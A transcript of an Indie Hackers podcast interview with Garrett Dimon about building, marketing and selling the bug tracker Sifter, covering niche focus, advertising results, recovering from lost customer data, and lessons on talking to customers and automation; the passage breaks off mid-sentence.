Garrett Dimon built a business in a crowded market place. One where his app was far from the only one of its kind, and yet he was able to cut through the noise, find hundreds of paying customers, and eventually go on to sell his app for hundreds of thousands of dollars. I'm Courtland Allen from IndieHackers.com, and in this interview I'll be talking with Garrett Dimon, the creator of Sifter, a simple application for teams to track their bugs and issues. There are hundreds of other bug trackers, but the reason that Garrett was able to to well was that he picked a very specific and targeted pain point. And he built his target entirely around that. This let him appeal to a certain group of customers in a way that his competitors couldn't. There's a lot to learn from this interview about how to build a product that stands out among the competition, how to communicate with customers and get them to buy your product, and about how to experiment and find the best ways to grow your company. Hopefully you guys will enjoy this conversation I had with Garrett as much as I did. This episode is brought to you by SparkPost, the world's fastest growing email delivery service. Trusted to send over 25% of the world's non-spam email. Built on AWS, SparkPost's robust cloud API lets apps and websites send and receive email, and is designed for the way developers work today. Sign up now and send 100,000 emails a month for free, forever, with all the same features that come with paid accounts. Go to pages.sparkpost.com/indiehackers to learn more. SparkPost, start fast, deliver more, guaranteed. Alright, this is Courtland here from Indie Hackers, and I am sitting down today with Garrett Dimon, founder of Sifter, a business which he started years ago and has since sold. Garrett, how you doing?
I'm good, how are you?
I'm doing excellent. I wanna start off by talking about Sifter. I know you've done a great many other things besides Sifter and since Sifter, but I would really like to start with talking about Sifter. So can you tell us what it is and how you got started?
Yeah, so Sifter is a bug tracker. It was a really, really creative, unique idea that I had. I founded it in 2008, and was more or less a solo founder. I had a little bit of help with some of the insulary tasks. But as far as design and product support and marketing and all that kind of stuff, that was pretty much all on me. I've just always been fascinated with bug and issue tracking, just 'cause my first job out of college I was exposed to it in a really well-oiled machine. And my second job was the complete opposite. So just the contrast between those two jobs kind of showed me that not everybody has the process down to a science. And it just sparked an interest. And then, later on when I was doing a lot of consulting work, almost agency stuff, one of our biggest struggles was getting our non-technical clients to participate with the issue tracking. Not so much find the bugs, but find the things that you don't like about how we've implemented this, and help us fix it and that kind of thing. And we tried half a dozen different bug trackers, and they'd log in once and kind of, uh, I don't know about this. And then they'd never log in again and they'd just email us the issues. And invariably, one or two issues slips through the cracks because they wouldn't use the bug tracker. No matter how religious we were about putting it in. And so the fact that they wouldn't use a bug tracker, and this is for smallish teams. For big, huge teams it's not too much of an issue because you can kind of force people to do it. But for a team of five and a couple clients, it's just big enough that it's helpful, but it's just small enough that if they don't wanna use it, there's not a whole lot of arm twisting you can do. So it kind of got to a point where it's like, well, if they won't use the bug tracker, we can't use a bug tracker because it's two different worlds. So my philosophy kind of got to the point where it's like, it doesn't matter what a bug tracker is capable of. If the team won't use it, it's useless. So big teams where they're all developers, and everybody's pretty technical, it's not too hard to get everybody to adopt something like Jira, something really powerful and flexible. But that's just overkill for smaller teams. And so I was like, I just wanna create something that will be much, much, much simpler for those smaller teams. A lot of bigger teams would view it as crippling almost, because it was too simple. But for the smaller teams, it was kind of just right. So kind of the goldilocks version of bug tracking, the just right version for small teams. The way it started, too, was, I think probably one of the more interesting things, was that I didn't really plan on building it. I just started designing it and mocking it up, and kind of thinking, well maybe I'll create something open sourced. Because I didn't want to deal with support. And I didn't want to have to take money online because this was pre-Stripe, and Braintree had just barely come around. The idea of taking money online just scared me. I was like, Authorize.net I heard too many horror stories. So I did not wanna start a business. But by virtue of sharing these ideas, and the mock-ups and things, a lot of people started expressing interest and encouraging me to do something more with it. And eventually I got worn down, and said, okay, I'll just start a business. One of the common questions everybody asks is how did you get your first customers. For me, it was like, my first customers kind of got me.
You flipped it around.
Yeah, and so to this day I feel like that's still one of the best way to do things, is just work on things in the open and do things, and if there's interest there, you'll find out.
It's really cool, because you sort of took this combination of expertise based on your own experience and school and at these companies combined with your public writings, and the validation from other people to get this huge head start in terms of validating what you're gonna work on and finding your first customers, which is pretty much the exact opposite of what most people I talk to did. They're scrambling to make sure that idea is something the people need, months after they've already started building it, which is, of course, the hard way to do things, and the wrong way to do things, if you can avoid it. So that's a great way to get started. This was in 2008 when you started Sifter, right?
Mmm hmmm.
And back then, was the bug tracking market crowded? Because I know today there's like a ton of bug trackers. But back then, were you worried at all that, wow, there's so much competition. I'm not gonna be able to target a good niche or I'm not gonna be able to rise above the level of noise that all of my competitors are creating to get customers.
I think it was a combination of not being scared, but also being ignorant. The biggest thing was, it's always been a crowded market, and it always will be. Because there's always gonna be a need for it. And there's, honestly, still probably plenty of room in the market for more. The thing is, most bug trackers are designed by developers for developers. And I was more of a designer than a developer. Not really even a designer, an information architect. So a lot more interested in user experience. So for me, the biggest problem to solve wasn't can I build a bug tracker. It was can I build a bug tracker that non-technical people won't run away from screaming. I felt confident that there weren't gonna be many other people that cared about doing that. There's just not a lot of people in design and user experience who were really passionate about bug tracking. The only people who were really passionate about bug tracking are developers. And developers are gonna build the tool that they want for themselves, and they're not necessarily thinking about their clients and that kind of thing as much. And so I just felt comfortable that I was going to take it in a direction that nobody really cared about, or would pursue. And that I'd have a unique enough take on bug tracking that there was enough space for me to carve out a little niche and make a good living.
It's so telling that focusing on good user experience ends up being a unique take. No one else cares about the user experience.
But it wasn't necessarily a good or bad user experience. It was a good or bad user experience for a specific audience. Because plenty of developers hated Sifter's user experience. Our audience was the developers who may have felt this doesn't serve my needs enough, but it gets my customers actually using it, so I can forego the fact that it's not perfect for me because they're actually gonna use it.
How much do think of Sifter's success, and the development of any product in general relies on, or is helped by, I should say, targeting a really specific niche and making trade-offs. Because I know I talk to a lot of people and they say, I don't really wanna target a small group of customers, because what about all these other people who might be my customers and who might like the product. And it's kind like this situation where it's easy to be afraid of losing out on potential business, so you make a product for everybody. Do you think if you had catered to developers needs a little bit more that Sifter would have been harder to succeed with?
I mean, it's a double-edged sword.  It's almost an art to find the right degree of both. And I feel like with Sifter, one thing I could have done more was done a better job of incorporating things that the developers would have appreciated in ways that it wouldn't have necessarily affected the user experience negatively. But I think it definitely would have helped, so the other thing, too, was, I was building a tool. And this was in hindsight. Probably one of the things that made it the most difficult was my target audience was never going to be the people who were paying for the tool. Because my target audience was my customer's customers. Sifter's only real appeal was for customers who were struggling with the fact that their customers wouldn't use their bug tracker. And, again, in a way it was a good niche because there wasn't anybody else out there doing that, but it was a bad one because it is limited. And so it's just one of those things, it's a blessing and curse, and you just kind of have to make the most of it. It made marketing difficult because I wasn't directly removing my customer's pain. I was removing my customer's customer's pain. And so it was an indirect pain for our customers. And that made it difficult to have a compelling message for them unless they had that problem and really understood it well. Because for more developers, it's not necessarily a problem. It's just, oh well, that's fine, they can email them to me and I'll deal with it.
Yeah, it seems like a difficult thing, like you said, they already have to be keenly aware of what the problem is, or you kind of have to educate them.  You should switch to a totally different one. Your first customers were people who were supporting what you were doing and working on, and interested in your take on bug tracking before you even launched. What was involved in building the initial product? How long did it take you, and what kind of tech did you use? How did you get your first users after your first users, so to speak?
So, rails, basic rails MySQL set up, nothing super fancy. When we launched, it didn't even have file uploading or search. It was very, very, very simple, almost too simple. Uncomfortably simple. I quit my job and switched to juggling freelancing and Sifter in January of 08, and I launched in December of 08. Publicly launched. The beta started maybe a month or two before that. I'd say that total time was 11 months, probably half of that was on Sifter, so six months. And, again, back then the billing stuff wasn't really there, so I wasted a month building a billing system. Which these days, you wouldn't have to do. You could just plug in Stripe, or even Braintree is better now. There's so many options. I love that knowledge that I have and that experience and understanding of the billing system, but I would have loved to not have to build that.
And it's interesting how every few years there's always something you can look back and say, wow, we've got it so easy today. Because I remember developing web apps back then, and I wasn't implementing any billing systems. But still, the only thing anybody was talking about in 2008, 2009 was how one developer can do what it took a team of 10 or 20 to do back in the 90s.
It definitely gets better. I think, for me, that's the biggest, now that I've got a regular nine to five job, the biggest haunting temptation for me of like, oh my gosh, just imagine what you can do now with all the experience and the better tools. Then I've just gotta kind of slap myself and be like, no, no, no, don't worry about it.
At least with Indie Hackers, my thesis is that we're gonna see more and more independent developers and non-developers, too, starting businesses. Because the amount of leverage that they have, with all the tools, is such that, it's an easier path now than it ever has been to just completely eschew reliance on a team.
But for better or worse, just because its easier for you, it's easier for everybody else too. I'm not a big competition person. I feel like focusing on competition's almost a distraction. But it's important that you have your own story. And I feel like too often too many people are like, oh, my competitors are doing this and that, and what should I do. And it's like, it's not about what you should do, so much as you just shouldn't do what they're doing. Figure out your own thing and carve out your own world. But there's gonna be more and more and more competitors now because it's easier for everybody to do everything. So it's even more important to really stake out your area and who you are, and what you're building, and what you're offering, I think.
Yeah, I agree completely. I just interviewed this guy Diago from this company Proposeful for Indie Hackers, and he's got online business proposal software. And one of the things he talked about in his interview was how much he willfully ignored all of the competition. He refused to even look at their products. And he wanted to talk to customers and figure out, understand the problem he was solving and come up with his own unique solution, without being biased in terms of how the product should look. And I think that's one of the things that's gonna help him, and will help others in the future too. With there being ever more competitors, the importance of finding a niche is only going to increase. You're gonna have to probably be in a market that's not winner take all. And definitely attack a niche where it's small enough that you can carve out your own territory, but big enough where you can actually make money doing it.
Well, the other thing about competitors, is everybody assumes that if you imitate or worry about what your competitor's doing, you're assuming they know what they're doing. And chances are much more likely that they're in the same boat as you, and they don't know what they're doing. They're kind of figuring it out as they go.   Because, yeah, I was the same way with Sifter. I was familiar with lots of bug trackers from years of earlier experience, but once I started building Sifter, I couldn't have cared less about any of the other tools out there. I was interested from a user of tools. I totally avoided looking at other bug trackers. I was like, oh, another one launched, okay, cool. And then probably half the ones that flew across the radar were out of business within a year of launching. I think everybody just thinks, oh, it's gonna be real easy. I'll just launch and I'll be a millionaire. And it definitely doesn't work that way. It does for some people, but not everybody.
It's pretty rare.
Few and far between, yeah.
And I think that's one of the things that is really cool about doing podcasts with people like you, because people can listen and hear about the actual nitty gritty, and what's going on behind the scenes, and the superficial information that I got from the Facebook movie, or TechCrunch article is the tip of the iceberg. Sifter, you started with a small set of users.  Over the course of, I think, the eight years that you were running it, were there any really big things that you'd change that drastically increased your revenue, or any big lessons you learned that really changed the course of the business?
No, there wasn't anything big that drastically changed the course. There were lots of little things that kind of adjusted the course. And I think the biggest thing I learned is that there's rarely anything that will change the course. At least in terms of features. There's certainly a lot of good and targeted marketing that can really change the course of a business, if it's done well. But even marketing, you really have to stick with it. There's not, go spend $10,000 on AdWords, and all of a sudden you're gonna have more customers than you know what to do with. And still, marketing is hard work, too. There's not a silver bullet with marketing.
What were your marketing strategies like?
Just keep blogging and sharing. We spent a fair amount on ads over the lifetime of Sifter. Probably something like $20,000 over eight years on everything from Daring Fireball, which was a lot cheaper back then. And that was a really effective one for us. The Deck, definitely I spent some time experimenting with AdWords, but it was just not fun. I wasn't excited about it, so it was hard for me to keep at it. And then lots of display ads here and there, and sponsoring some sites that we liked, and sponsoring podcasts that we liked. Stuff like that.
I think a lot of people's hope when it comes to advertising is that they're gonna measure the lifetime value of their customers and then hit on some sort of repeatable winning formula where they can buy a customer for a dollar and make two dollars.
That's the holy grail.
So there was never a point where you were like, okay, well, this one form of advertising is it, and we can just do this to infinity and it will work every time.
For us, I don't think there was any one kind of thing that really was powerful. Like I said, the Daring Fireball ad, I think we spent $2500 on it, and that was probably early 2009. So we spent $2500 and it got us probably 30, 35 customers. But that was the only thing I think that really moved the needle. And that was only moving the needle because we had probably 100 customers at that point, maybe. And so 30 customers, 30, 35 customers, that's a big deal with you've got a hundred customers. But down the road, 30 customers, I mean, it would have been nice, but it wouldn't have been life changing.
It just gets harder and harder for any individual effort to move the needle once you start growing.
In some ways, too, that's all the more justification for experimenting and trying different things to find the thing that could do that. I think the problem is, it's a healthy balance. You want to be improving your product, but you still need to do marketing. And especially as a small team, or even a solo founder, somebody who's doing everything, it's really, really, difficult to juggle the two and balance the two in a meaningful way. Because so much of the marketing stuff, you do it and it does nothing. So it can be really, really defeating. And you're like, nothing's gonna work. I've tried five things and nothing's worked. Well, you just haven't found the one that will work. A lot of them, too, it's not just whether or not they will or won't work. It takes time to get them to work. To build a following and do things that are of interest to people. Probably one of the biggest mistakes people make is just the buy and sell. Developers are so, or product people, I should say, because developers and designers, we wanna believe if we build a great product, people will just talk about it. Even Apple markets. They spend a lot on marketing. And they've got some of the highest quality products in the world, whether you like them or not. They make good products. And they still invest a lot in marketing. You have to juggle both. You have to spend time on both. And it can be really hard to do if you're not constantly seeing wins and reassurance that your time is being well-spent.
Later last year, November, I decided that I was gonna make November my month of growth.  And doing guest blog posts, and getting newsletters. And it turned out that only one or two of my efforts really moved the needle at all, and the rest, it was either never going to work, or it was going to be a super long slog that was probably going to completely burn me out. And so I kind of decided to focus on the big wins. Posting on Hacker News for Indie Hackers worked really well. And other than that, going on Reddit, or small subreddit, and getting two or 300 page views for a site that's already getting 300,000 a month, just didn't move the needle at all.
The other thing, too, as product people, as developers who aren't marketers fail to think about is they go out and start screaming from the mountaintops about their product, or whatever it is they're working on. Marketing isn't about shouting about your product. It's about communicating to people how you can solve their problems. I made this mistake. It took me forever to figure it out. And it's not rocket science. People have known this for years, professional marketers. You're not selling your product, you're selling something to help improve their lives. If you just go out and say, hey, look, I built this, come use it, that's not gonna be effective. But if you're, hey, if you're dealing with this, I have something that can help you, here it is, try it out. It's more focused on your customers problems. Then you're starting to get more into marketing. Whereas a lot of time people, if you go out and just post everywhere and try different things, and you're talking about your product but you're not talking about your customers and their problems, then they're like, oh, well, it didn't work. It's not that it doesn't work, it's that you took the wrong approach. And I think it's too easy for people to think, oh, well, I tried it and didn't work, and not think about oh, I did it wrong, and maybe I should have tried this, put more emphasis on my customers instead of the product.
I remember doing Y Combinator, and hearing people talk about AirBnB a lot. And AirBnB, I don't know if you know, but there whole story is how many years they spent totally believing in their product, and they were changing it and tweaking it and iterating, but they were also iterating on their marketing. It got to the point where, I think, 99% of people would have quit. Alright, this is not working, it's never gonna work. And for some reason they didn't, and it ended up being the company that it is today. But finding that balance between, am I doing it wrong or have I not been doing it, or am I doing it right, I just haven't been doing it for long enough. It's really tricky.
Yeah, I think it just boils down to you have to have the tenacity to know that a lot of things aren't gonna work, and you've just gotta keep going until you find out what does work. And it's too easy to give up early on and say, none of this works. Am I focusing on the wrong thing, and then give up. So much of it boils down to tenacity. I think that's kind of the toughest thing to explain to people. It's like, well, just keep going. And they're like, oh, I've been going. Like, well, keep going in a different direction. Try something different. Try to kind of get outside of your comfort zone. It's hard. It's definitely not easy, otherwise everybody would be figuring it out. But there's certainly opportunities out there.
Was there ever a point in developing Sifter that you came up against some sort of challenge that felt insurmountable at the time? Or any particularly difficult point in Sifter's history?
There's always difficult points. Everything from dealing with fraud, consumed a couple weeks of attention. Which, in hindsight, it cost us a couple hundred bucks of credit card fees, but that was it. But it consumed for two weeks, so emotionally it took a toll far beyond what it should have. In hindsight, I would have just probably been, whatever. Just dealt with it and moved on. Probably the biggest thing was, at one point, without going too much into the back story, I screwed up and lost eight hours of customer data when I was trying to resize some servers and do some things. And this is when the architecture was still pretty immature, and the database and everything was on one virtual server.  We recovered about three hours of it. And it was, thankfully, at a time when there was less traffic, so it wasn't as much. I think we did something like $700 worth of refunds. Giving customers that were affected a free month. But ultimately, everybody was really understanding. When it happened, and I realized it happened, I was like, crap, this is it, we're out of business. Done. And I was like, I just gotta do what I can and hopefully we'll pull through. And sure enough, we pulled through. And everybody was surprisingly understanding about it. I was doing everything I could to help everybody recover. There were notifications for everything, so theoretically everybody kind of had a back-up in their email because of the notifications. Or a back-up of most of the data. And it worked out. Just some refunds, it was tedious. Issuing the refunds was the hardest part, just because it took time. But ultimately, I forget all about it all the time. Like, oh, yeah, that's right. We had to go through that.
Oh yeah, that happened.
 And being honest and transparent, and just really working to help your customers and make life as easy as possible on them when you screw up, people are human. They are forgiving. And as long as they know that you care and that you're taking steps to make sure it doesn't happen again, sure a couple customers might leave and not trust you.  As long as you're taking care of them and being honest, it's nowhere near as bad as what you probably imagine it will unfold like. Now, if you're dishonest and misleading, and then the truth comes out, that can be a problem. But as long as you're straight forward and transparent, it's a lot less painful than we all probably imagine.

Seems to simple, doesn't it? But so many companies do not do it.
Yeah, they don't. And I understand the psychology behind it because when anything like that happens, it's like the pit drops out of your stomach.
It's scary.
I feel terrible if my own website goes down. It doesn't hurt anybody. Literally no one's affected. So Sifter went on, and it sounds like aside from a few minor bumps on the road, it was growing steadily. And you ended up selling the business. Can you tell us about the process of selling the business, and I know that since you sold it there's a little bit of an aura of secrecy.
I wouldn't say aura. That's up to JD now. I think he's approved me sharing that it was kind of low six figures, but healthy enough so people can use their imaginations. Yeah, so it was doing well. I was making a comfortable living from it. Business-wise, everything was great. I spent the last three years dealing with leg issues and foot issues, as you know. At the time I decided to sell, I didn't know for sure I was going to end up amputating, but it was still a very feasible thing. And between all of those medical issues, and the ups and downs, the occurring revenue was fantastic, and made it very, very easy to focus on health issues because Sifter still maintained and went on, and did just fine. I could keep up with support, but it was harder to stay on top of new development, and things like that. Just between all the surgeries and down time and recovery and physical therapy and doctors appointments, and all of that stuff. The business was great in that respect. But by the time it was all starting to wind down, and I felt like I had it under control, I was just exhausted from trying to juggle it all. And I didn't want to be running a business anymore. I loved aspects of it, but the foot stuff took so much out of me. And I wanted to kind of just step back and just reset, and all of that. And so, decided to sell it. And I'd been thinking about it for awhile, through the medical issues. But at that point it was just good timing. Patrick McKenzie had just sold Bingo Card Creator, and so I asked him about that, and he said great things about FE International. I was like, wait a minute. So I can actually sell the business, it's realistic? Let's give it a shot. And so I did, and I think that was probably one of the key things. And then joined Wildbit, and have been working on that stuff, and it's been great.
Tell me about Wildbit. Because I wasn't familiar with Wildbit until I started reading more about you and Sifter a couple months ago. We talked a little bit about it before the show. You mentioned how much you like their culture. What is Wildbit, what is it like working there?
Yeah, so Wildbit, Beanstalk was the first product which launched, I wanna say 2007 ish. Does that sound right? No it was before that. Back then. Then they launched Postmark, and then DeployBot. And I say they because when they launched I wasn't there. But Sifter used Postmark, and it was literally, out of every product we paid for, Postmark was the one. I just loved giving them money because they just did such a great job with the product. And so I, over the years, had talked to them a lot and interacted with them. Sifter integrated with Beanstalk, so I'd worked with them from a development standpoint to get the integration and all the kinks worked out. And it was just one of those things where over time, working with them, interacting with them, I just really admired how they did things. And got to know them better, and when it came around that I was thinking about selling Sifter, I mentioned it to them in passing and we just started a conversation. And it was like, well, why don't you come here. And I was like, well, I don't know if I'm really gonna sell it yet. And so we decided it made sense, and went and joined them. A lot of the reasons I wanted to sell Sifter and not run a business after all this stuff was that I wanted to take a step back, be able to spend more time with the family, go on vacations without worrying about or being on call. That kind of stuff. And Wildbit's culture is very family-focused. Not just family-friendly or family-accommodating, but family-focused. And it's not just writing on the website. It's really kind of the way we do things. Half the team's remote. We've got 26 people. Or more than half the team's remote now, I think. And it's just a really welcoming environment. When the team members are in Philly traveling to the main office, everybody gets together, not just for a team happy hour, but everybody's spouses and children come. And the kids all play together. It's just more of a small family-friendly set-up that just works. It meshes with where I'm at.
Sounds like the exact opposite of Silicon Valley, typical programmer mentality.
It is, almost by design. I would say that there's probably a lot more in common with the Basecamp crew and mentality than with Silicon Valley, for sure. Kind of have some of our own opinions on things, too. But for the most part, yeah. We don't believe in working crazy hours. If it's a long day, and you're exhausted, and your brain's just not firing anymore, don't sit at your desk, go home. If you're working on something and you feel like you need to finish it, and it's not critical, quit working on it and go home. Spend time with your family, that kind of thing. I was literally in slack with Natalie, our CEO the other day, and she just randomly sent me a picture of her daughter asleep in the crib. It was their daughter's birthday. And our two youngest are about the same age as well.  I'm like, awesome, cool, have fun. We don't just talk about it. Everybody kind of does it, and it's embraced and encouraged. As long as you're not holding anybody up, and nobody's depending on you, we really work to make sure that that's really the case. You can go do that.
Without people thinking, oh, that guy's lazy.
So that's the other thing, too, right? A lot of companies, they'll say that, but then if you do it, especially, well, there's the remote policy. A lot of companies are quote, unquote remote friendly. But then the people who are in headquarters look down on the people who are remote, like they're probably not working, they're just home goofing off. Or in that case, if somebody's like, I've gotta go take care of my kid, it's like, oh, whatever, they're not committed. They're not working hard. But the reality is, when you let people feel comfortable doing that kind of stuff, and taking care of the things they need to take care of, then when they're working, they're more focused on work. They're not distracted or stressed out by things that are going on in their personal lives. And it just makes for a healthier environment. It's something that Wildbit gets intrinsically. And Natalie and Chris, they've talked about, in a large part they feel like it kind of happened. They always felt that way, but having kids kind of helped them see that and realize that. And so by virtue of that, it's kind of just extended, and the whole company embraces it. It's just it's cool that way. It's one of those things that, in hindsight, why is this so rare? This is a much healthier way to run a business. Why do more companies not embrace this?
 We're obsessed with productivity. We're the types of people who might tend to push ourselves to work 16 hours a day. And so we tend to create cultures that glorify that. Going back to one of the things you were saying about selling Sifter, you were talking about it being a SaaS business with monthly recurring revenue, and how that helped you through the period where you were dealing with your leg. And that really reminds me of the topic of passive income in general, which I think is such an attractive idea. It might be the main reason why a lot of people decide to become, as I call them, Indie Hackers. And start web applications that charge monthly recurring revenue. And for those of you who don't know what passive income is, which is probably nobody, but it's the idea that you build a product, it's a money-making machine. It makes money when you're asleep, it makes money when you're shopping for groceries, and so you're not trading hours for work, or trading hours of your life for dollars, but instead you build something that brings in dollars on its own. Having talked to, I think, 92 founders now at this point, passive income seems almost illusory to me. There's very few businesses that I've talked to where the founders aren't either A, working to grow their companies, or B, running a company where if they were to leave, the income would just completely drop. Have you ever seen a truly passive business?
I'm sure they're out there. For me, personally, I feel like a truly passive business, it would be boring. We wanna create things. You want a challenge. And this isn't just people, it's just human nature. If you're not challenged in some way, we don't grow. That's how we grow. And so a purely passive business to me, it's kind of like a perpetual motion machine, right? There's probably things that are really, really close, but technically it's not possible. It's a nice thing to have. It certainly helped with all my recovery and my leg, and all of that. But I think the other thing is, people think that it's it's maybe too glorified now, or too magical. And it's hard to lose passive income, but it's hard to grow passive income, too. You've gotta justify that business giving you money month after month after month. And SaaS is a nice model for that. But at the same time, you have to justify to them every month. You have to keep up your end of the bargain. And so with SaaS, sure it's gonna kick in. It's gonna fade away. If you aren't maintaining it, you aren't taking care of your customers, that kind of thing. I think the biggest thing is just people think, oh, it's this holy grail, and it's glorified. And think, if I made X thousand a month, I'd be all set. But the thing is, you don't just jump to it. Some businesses I'm sure do. But you don't just jump to $20,000 a month, or whatever it is, overnight. You get there slowly. And I think the biggest problem, at least listening to people who are frustrated and haven't gotten there, is that it happens overnight and it doesn't. Gail Goodman of Constant Contact had a great, great, great talk at Business of Software. And it's out there, if you just Google Gail Goodman, Business of Software, and it talks about Constant Contact and their slow, I forget the exact title. But it's like the Long, Slow SaaS Ramp of Death. And it's because when you're talking about recurring revenue, it grows slowly and steadily, and it's a slog. You've gotta keep working. And that's not attractive to people, to know that it's gonna take years and years to achieve success. And then there's people like Nathan, who grow ConvertKit to $5 million like he did so quickly. But nobody's been talking about the two years he spent working on it before that.
Exactly. He's got a really awesome story that I hope to get him on the podcast or for an interview for Indie Hackers. I think his goal was to get $5000 in five months, and he only got to two and a 1/2 thousand.
He should have quit, right?
Yeah.
Can you imagine? ConvertKit's bringing in $5 million a year, I think. That's the run rate, maybe. He could have given up. And that's the thing, it's mind blowing to me that something can be going so slow and it's so tempting to give up, and that you could have missed out on that opportunity because you didn't necessarily want to stick with it, or maybe there was another thing you thought might be a better bet. Almost every business story that I've read, from Virgin. Right now I'm reading Nike's book, the Nike, what's the title? It's about the founding of Nike.  Sorry, language. It wasn't just an easy thing. The things they went through, and you're not talking $10,000 share there, you're talking millions or hundreds of millions of dollars. You don't get to be that big without having a handful of those bet at all moments. You read those stories, and you see the kind of scary decisions they have to make, and I know the more I've read it, the more I'm like, I don't ever want a big company like that. I don't want that kind of decision. That's stressful. How is that enjoyable or fun? And you really have to have that type of personality that's like, I don't care. I'm just gonna deal with it and push through it and fight through it. It's not as easy as we all want to believe. The more stories you read like that, the more you find out just how hard it was for all these big companies to achieve what they've achieved.
One of the things that I've thought a lot about since starting Indie Hackers and talking to all these people is in the future, assume that we launch other ideas, is trying to avoid putting myself in a situation where I think that I might fail. So that means doing things like having a really quick MVP where I can validate my idea. And two to three days, a week or two tops, rather than having something that takes months to get out the door. Doing it the way that you did it, I think is really smart and really awesome. And I've got, at this point, a checklist of all the different things that I would run my ideas through before I decided to work on anything, just to minimize that chance. Even if it means giving up on maybe a potentially riskier but better idea that could make more money.
Well, and the catch there is you run the chance of over-analyzing your idea to death, and then giving up on it before you even try it.
That's very true.
So it works both ways. It all does. You're constantly towing the line.
I've got this list of a hundred ideas now. I probably add one or two ideas to it every week, and it's more, for me, a process of, I'm sure that there's a lot of ideas on there that could work if I put the effort into it. And it's me just filtering down to one or two that I have time for. Speaking of this, you are now running a website called Starting and Sustaining, where you talk all about starting, building and launching online businesses and bootstrap SaaS applications. And you do interviews with founders. Can you tell us a little bit about what got you into that, when you started it, and what your goals are?
Yeah, so I wrote a book about it about five years into Sifter. And a lot of that was driven by, there's a lot of talk about starting a business, but it's really easy to launch something. It doesn't become difficult until you're hanging on for five years, and really kind of trudging along, if the business isn't growing, and things you're trying aren't working, and nothing's improving it, that's when it gets hard. Anybody can announce something, launch it, build it. Far fewer people stick with it. And so I really wanted to talk about that, talk a little bit about launching and stuff. But I really wanted to get past that and talk about how do you stick with it. What happens when you have to deal with fraud and charge-backs, and you got into this to build software, but you're spending most of your time running your business, or dealing with support. And in a way helping people see into the future, and see what things are gonna look like. I guess in some ways, help them understand if that's really what they wanna do. And in other ways, if it is what they wanna do, help them know what's coming and how to avoid it. And how to not make mistakes. Some of the common, easy mistakes. And so I wrote that, and then after going through all of my medical stuff, and then selling Sifter, selling, in particular. When you go through due diligence, and you're looking at your business through someone else's eyes, you start to see a lot of things. And you go through a lot of the am I gonna regret this, is this the right thing? What would I have done differently? What should I have done differently? The more I did that and went through the process of selling the business, I obviously learned how to sell a small SaaS business, but I also saw a lot more of the mistakes that I made and what I should have done differently. And I felt like I need to write this up. This needs to be out there for other people so they can save themselves from all the mistakes I made. I know if I were to go back and do it all over again right now, Sifter would probably turn out a lot better, or whatever I built would have turned out better. I just would have made better decisions. It would have been less painful. I would have enjoyed it more.
Are there any decisions in particular that you thank you would do differently?
Yeah, there's countless. The two biggest ones are, well, there's so many. One of the biggest mistakes was one that I knew but I felt like I was doing a good enough job. And that's talking to customers. There was no shortage of feature requests for Sifter. People did a lot. And really helpful, useful feature requests. I implemented a lot of them. But there were a lot more that I just philosophically didn't totally buy into. And I spent so much time talking to people via email that I thought that was a good enough proxy for understanding our customers and our target customers. But in hindsight, getting on the phone and talking to people was a totally different story. You find out different things. Things that are small enough that somebody's not gonna take the time to email you about. If you're having a phone call with them, they'll take the time to dive into it and explain. And you're like, I can fix that in five seconds, and do a release. There's just a lot more understanding and insight. So I didn't do a good enough job talking to customers because I felt that email was a good enough proxy for that. And in hindsight, that was definitely, that was wrong. Completely wrong.
I talked to Josh Pigford of Baremetrics recently, and he said, almost verbatim, the exact same thing about how he would talk to people through email and it would give him a limited amount of feedback, and he felt pretty good about it, and then he started, as part of his sales process, just talking to people on the phone, and just something about being able to talk, and being unflitered, and maybe something about over email you can think about exactly what you're gonna say. But in a conversation it's kind of like there's pressure when there's a silence to say whatever's on your mind. People just reveal a lot more about their actual thoughts and opinions and their needs over the phone. That sounds like really good advice that's pretty consistent for anyone who's got customers.
And the thing is, too, getting on the phone and talking to people is simultaneously sales and research. Especially for those first customers, and you're trying to validate and figure out and kind of shift what you focus on. It's priceless, in every way, in relation to the business. It's just so, so valuable. An email or any kind of text-based chat, it's not enough. Get on the phone with people. If you can, meet with people in person. To me, that's kind of the key. That's the heart of it all, really. Which, once you've gone through it, you hear people say it. Yeah, yeah, yeah, whatever. But once you go through it, you look back, and it's like golly.
There's like a whole categories of advice that on their surface, they just get repeated so often and they seem to so basic. Talk to customers, make something people want. And people are just, like, ah, yeah, yeah. Of course I'm gonna do that. And then they don't understand how amazing that advice is if you actually take it really seriously and deep dive into it.
People probably, they're like, that's so simple. It's too simple.
Deceptively simple.
Yeah, deceptively simple, exactly.
Even with just product design stuff. Just the basic user interface stuff.  I've never, ever built something and then shown it to people, and not been surprised by the way that they use it, or their feedback. There's always going to be things that people do that break your assumptions.
Yeah, as a designer, or building any software, there's very little substitute for watching someone struggle through your brilliantly crafted interface. And then realizing just how not brilliant we all are. So there's one other thing, too, that I think in hindsight I missed the boat on. And it's tough one to get right. And that's automation. You don't want to automate something too early, but if you wait too long to automate something, you're wasting your time. And this is something that I've spent a whole lot more time thinking about. In the heat of everything, I looked at automation as, does it save me time? And if so, is the amount of time that it would take me to automate it less than the time, I just kept it very simple. Can I save myself time by spending a day working on this now? In hindsight, that was a really, really naive perspective. Because when you automate something, and with software there's plenty that you can automate. Endless, endless options. You're not just saving yourself time. You're not just saving yourself the 30 seconds it takes to perform the task. One of the examples I use for this is trial extensions. People had to email in to ask for a trial extension. If they signed up over the holidays and didn't get a chance to try it out. If that was the case, and they hadn't created any issues in their account, they don't need to email me for a trial extension. In Sifter, I could have written logic that would have been smart enough to say, oh, they haven't created any issues. Sure, give them some more time. Let them extend their own trial. On the surface, I was like, oh well, it's easy. I just click a button. But I wasn't factoring in the inconvenience for customers. For them to write an email versus for them to click a button for themselves, that's a huge win for customers. It's not just about me and saving me time. Yes, I get to save time, but that's almost a bonus at that point. And there's a lot of tasks like that that there's almost a progression for automation that I see now. At first you just do it totally manually until it hurts.  To the point where you slide all the way down the spectrum to where customers can do it themselves without asking you for anything. So imports and exports is another thing. At first you might do things manually like that for customers, and then you might open those tools up to customers, let them do it themselves. And then, in some cases, you can even completely automate it. Just have the system be smart enough to recognize situations and handle it proactively. The other huge bonus to all of that, and this is part of the reason that it really got me thinking about automation, was when you go to sell a business, or when you go to train somebody else to do a certain role, the more automation you have in place, the less painful that is. Because when you sell a business, you have to teach another team how to run the business the way you do. And the more things are automated, the less you have to teach, and the simpler that process is. The more attractive the business is, the higher valuation you're gonna get because they're not gonna be like, this is really painful for us to do. Even if you don't ever sell the business, eventually you're probably gonna hire somebody to help you. And by having that stuff automated, it's trivial to train them. Because now they've got all the stuff they need already there in place, and you can focus on the things you need to focus on. So it's one of those things, it's just an all around win. You 